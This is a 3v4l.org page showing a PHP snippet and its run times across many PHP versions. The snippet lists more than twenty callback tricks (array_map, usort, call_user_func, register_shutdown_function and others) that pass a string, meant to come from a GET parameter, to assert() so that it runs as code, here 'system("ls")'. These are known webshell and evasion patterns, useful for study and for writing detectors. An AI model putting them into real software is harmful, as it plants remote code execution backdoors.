3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vector = 'system("ls")';//$_GET['vector']; array_map('assert', array($vector)); array_filter(array($vector), 'assert'); array_reduce(array($vector), 'call_user_func', 'assert'); array_diff_uassoc(array($vector => 1, 'assert' => 1), array(), 'call_user_func'); array_diff_ukey(array('assert' => 1), array($vector => 1), 'call_user_func'); array_udiff(array('assert'), array($vector), 'call_user_func'); array_udiff_assoc(array('assert'), array($vector), 'call_user_func'); array_diff_uassoc(array('assert' => 1), array($vector => 1), 'call_user_func'); array_intersect_uassoc(array($vector => 1, 'assert' => 1), array(), 'call_user_func'); array_intersect_ukey(array('assert' => 1), array($vector => 1), 'call_user_func'); array_uintersect(array($vector, 'assert'), array(), 'call_user_func'); array_uintersect_assoc(array('assert'), array($vector), 'call_user_func'); $a = array('assert' => 'assert'); $b = array("print'register_shutdown_function'" => "print'call_user_func'"); array_uintersect_uassoc($a, $b, 'call_user_func', 'register_shutdown_function'); array_walk($c = array($vector => 'assert'), 'call_user_func'); array_walk_recursive($c = array($vector => 'assert'), 'call_user_func'); call_user_func('assert', $vector); call_user_func_array('assert', array($vector)); iterator_apply(new ArrayIterator(array(1)), 'call_user_func', array('assert', $vector)); register_shutdown_function('assert', $vector); usort($c = array($vector, 'assert'), 'call_user_func'); uasort($c = array(1 => $vector, 2 => 'assert'), 'call_user_func'); uksort($c = array($vector => 1, 'assert' => 1), 'call_user_func');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00716.63
8.3.50.0150.00721.87
8.3.40.0110.00418.71
8.3.30.0040.01118.80
8.3.20.0080.00020.33
8.3.10.0070.00023.70
8.3.00.0000.00819.38
8.2.180.0120.00918.30
8.2.170.0100.00522.96
8.2.160.0070.00720.51
8.2.150.0000.00824.18
8.2.140.0000.00724.66
8.2.130.0040.00426.16
8.2.120.0130.00017.63
8.2.110.0080.00322.16
8.2.100.0090.00317.93
8.2.90.0000.00919.17
8.2.80.0030.00517.97
8.2.70.0000.00817.75
8.2.60.0000.00817.93
8.2.50.0100.00318.07
8.2.40.0060.00319.52
8.2.30.0030.00320.57
8.2.20.0050.00217.80
8.2.10.0030.00518.19
8.2.00.0000.00718.25
8.1.280.0090.00625.92
8.1.270.0060.00323.80
8.1.260.0030.00626.35
8.1.250.0080.00028.09
8.1.240.0060.00322.67
8.1.230.0090.00317.77
8.1.220.0000.00817.74
8.1.210.0000.00818.77
8.1.200.0030.00617.35
8.1.190.0040.00417.25
8.1.180.0080.00018.10
8.1.170.0000.00819.06
8.1.160.0000.00821.99
8.1.150.0000.00718.90
8.1.140.0050.00319.68
8.1.130.0030.00317.71
8.1.120.0000.00717.42
8.1.110.0000.00717.53
8.1.100.0040.00417.42
8.1.90.0040.00417.40
8.1.80.0000.00717.51
8.1.70.0000.00717.49
8.1.60.0030.00617.56
8.1.50.0040.00417.56
8.1.40.0060.00317.59
8.1.30.0040.00417.63
8.1.20.0000.00817.75
8.1.10.0050.00217.65
8.1.00.0030.00617.55
8.0.300.0070.00018.77
8.0.290.0050.00316.88
8.0.280.0000.00718.50
8.0.270.0000.00717.22
8.0.260.0030.00317.24
8.0.250.0040.00417.11
8.0.240.0040.00417.03
8.0.230.0030.00317.07
8.0.220.0040.00416.97
8.0.210.0080.00016.99
8.0.200.0040.00417.11
8.0.190.0000.00817.07
8.0.180.0040.00416.95
8.0.170.0040.00417.09
8.0.160.0040.00416.99
8.0.150.0030.00516.92
8.0.140.0000.00716.86
8.0.130.0050.00313.49
8.0.120.0030.00517.00
8.0.110.0040.00417.06
8.0.100.0040.00416.82
8.0.90.0040.00416.80
8.0.80.0120.00316.90
8.0.70.0080.00016.93
8.0.60.0040.00416.89
8.0.50.0000.00717.07
8.0.30.0100.01017.28
8.0.20.0080.01217.40
8.0.10.0050.00317.16
8.0.00.0070.01316.94
7.4.330.0050.00015.08
7.4.320.0070.00016.49
7.4.300.0070.00016.63
7.4.290.0020.00516.66
7.4.280.0030.00616.61
7.4.270.0040.00416.61
7.4.260.0070.00016.68
7.4.250.0000.00816.42
7.4.240.0040.00516.67
7.4.230.0070.00016.55
7.4.220.0090.01916.50
7.4.210.0040.01216.61
7.4.200.0070.00016.46
7.4.160.0100.00716.48
7.4.150.0130.00717.40
7.4.140.0140.00717.86
7.4.130.0150.00716.61
7.4.120.0050.01416.66
7.4.110.0080.01316.43
7.4.100.0130.00716.56
7.4.90.0070.01116.44
7.4.80.0130.01119.39
7.4.70.0090.01016.68
7.4.60.0070.01016.77
7.4.50.0060.00316.58
7.4.40.0150.00416.48
7.4.30.0170.00716.69
7.4.00.0130.00414.93
7.3.330.0050.00013.18
7.3.320.0000.00513.32
7.3.310.0080.00016.48
7.3.300.0030.00516.32
7.3.290.0080.00916.43
7.3.280.0050.01216.47
7.3.270.0150.00417.40
7.3.260.0040.01616.47
7.3.240.0120.01116.60
7.3.230.0050.01416.39
7.3.210.0040.01416.66
7.3.200.0140.01016.34
7.3.190.0100.00716.46
7.3.180.0080.00916.40
7.3.170.0100.00716.44
7.3.160.0110.00716.66
7.3.10.0040.01316.90
7.3.00.0150.00016.59
7.2.330.0110.00916.60
7.2.320.0150.01016.29
7.2.310.0080.00916.38
7.2.300.0120.00916.36
7.2.290.0150.01316.51
7.2.130.0060.01016.54
7.2.120.0040.00816.88
7.2.110.0040.01516.98
7.2.100.0060.01016.82
7.2.90.0140.00417.04
7.2.80.0140.00416.81
7.2.70.0130.00417.04
7.2.60.0110.00516.72
7.2.50.0120.01316.83
7.2.40.0080.01216.83
7.2.30.0100.00817.12
7.2.20.0070.00416.81
7.2.10.0120.00416.91
7.2.00.0070.00918.17
7.1.250.0110.01115.95
7.1.200.0120.00515.90
7.1.100.0550.00418.29
7.1.70.0040.00817.19
7.1.60.0070.02219.43
7.1.50.0060.00717.15
7.1.00.0100.07322.48
7.0.200.0430.01314.59
7.0.60.0170.08320.00
7.0.50.0100.08717.84
7.0.40.0130.07720.30
7.0.30.0070.04020.19
7.0.20.0530.06720.16
7.0.10.0200.03720.13
7.0.00.0100.05020.09
5.6.280.0100.06720.89
5.6.210.0100.07320.50
5.6.200.0170.06018.23
5.6.190.0170.06020.64
5.6.180.0370.04720.64
5.6.170.0330.07320.39
5.6.160.0170.07320.54
5.6.150.0170.03718.23
5.6.140.0200.07718.27
5.6.130.0170.07018.22
5.6.120.0130.05021.02
5.6.110.0100.09021.17
5.6.100.0070.04321.00
5.6.90.0230.07721.05
5.6.80.0170.06320.43
5.5.350.0200.04020.49
5.5.340.0100.04318.01
5.5.330.0230.08020.25
5.5.320.0230.04020.17
5.5.310.0270.05020.21
5.5.300.0100.04018.03
5.5.290.0230.04017.98
5.5.280.0130.05320.71
5.5.270.0130.03720.82
5.5.260.0230.06320.87
5.5.250.0130.05320.61
5.5.240.0170.07020.39
5.4.450.0630.06019.62
5.4.440.0600.06019.13
5.4.430.0670.05319.53
5.4.420.0570.07719.46
5.4.410.0200.05719.16
5.4.400.0200.05018.83
5.4.390.0330.05319.26
5.4.380.0630.05719.29
5.4.370.0570.06019.13
5.4.360.0570.06018.79
5.4.350.0630.05318.97
5.4.340.0600.06018.97
5.4.320.0530.06718.83
5.4.310.0700.04718.80
5.4.300.0800.04319.17
5.4.290.0700.06019.29
5.4.280.0600.06719.13
5.4.270.0730.05318.80
5.4.260.0830.05718.93
5.4.250.0670.05018.93
5.4.240.0800.04318.80
5.4.230.0770.04319.09
5.4.220.0830.07319.28
5.4.210.0630.05719.14
5.4.200.0800.05719.29
5.4.190.0800.06719.20
5.4.180.0770.05018.96
5.4.170.0230.05719.32
5.4.160.0170.06719.30
5.4.150.0130.06318.81
5.4.140.0330.06316.32
5.4.130.0700.04716.40
5.4.120.0470.05716.64
5.4.110.0670.04316.50
5.4.100.0730.06016.30
5.4.90.0670.05316.57
5.4.80.0630.04016.40
5.4.70.0500.05316.54
5.4.60.0570.06316.27
5.4.50.0600.06016.41
5.4.40.0630.05716.58
5.4.30.0500.05016.51
5.4.20.0530.05016.11
5.4.10.0700.04716.46
5.4.00.0630.05715.68

preferences:
53.05 ms | 401 KiB | 5 Q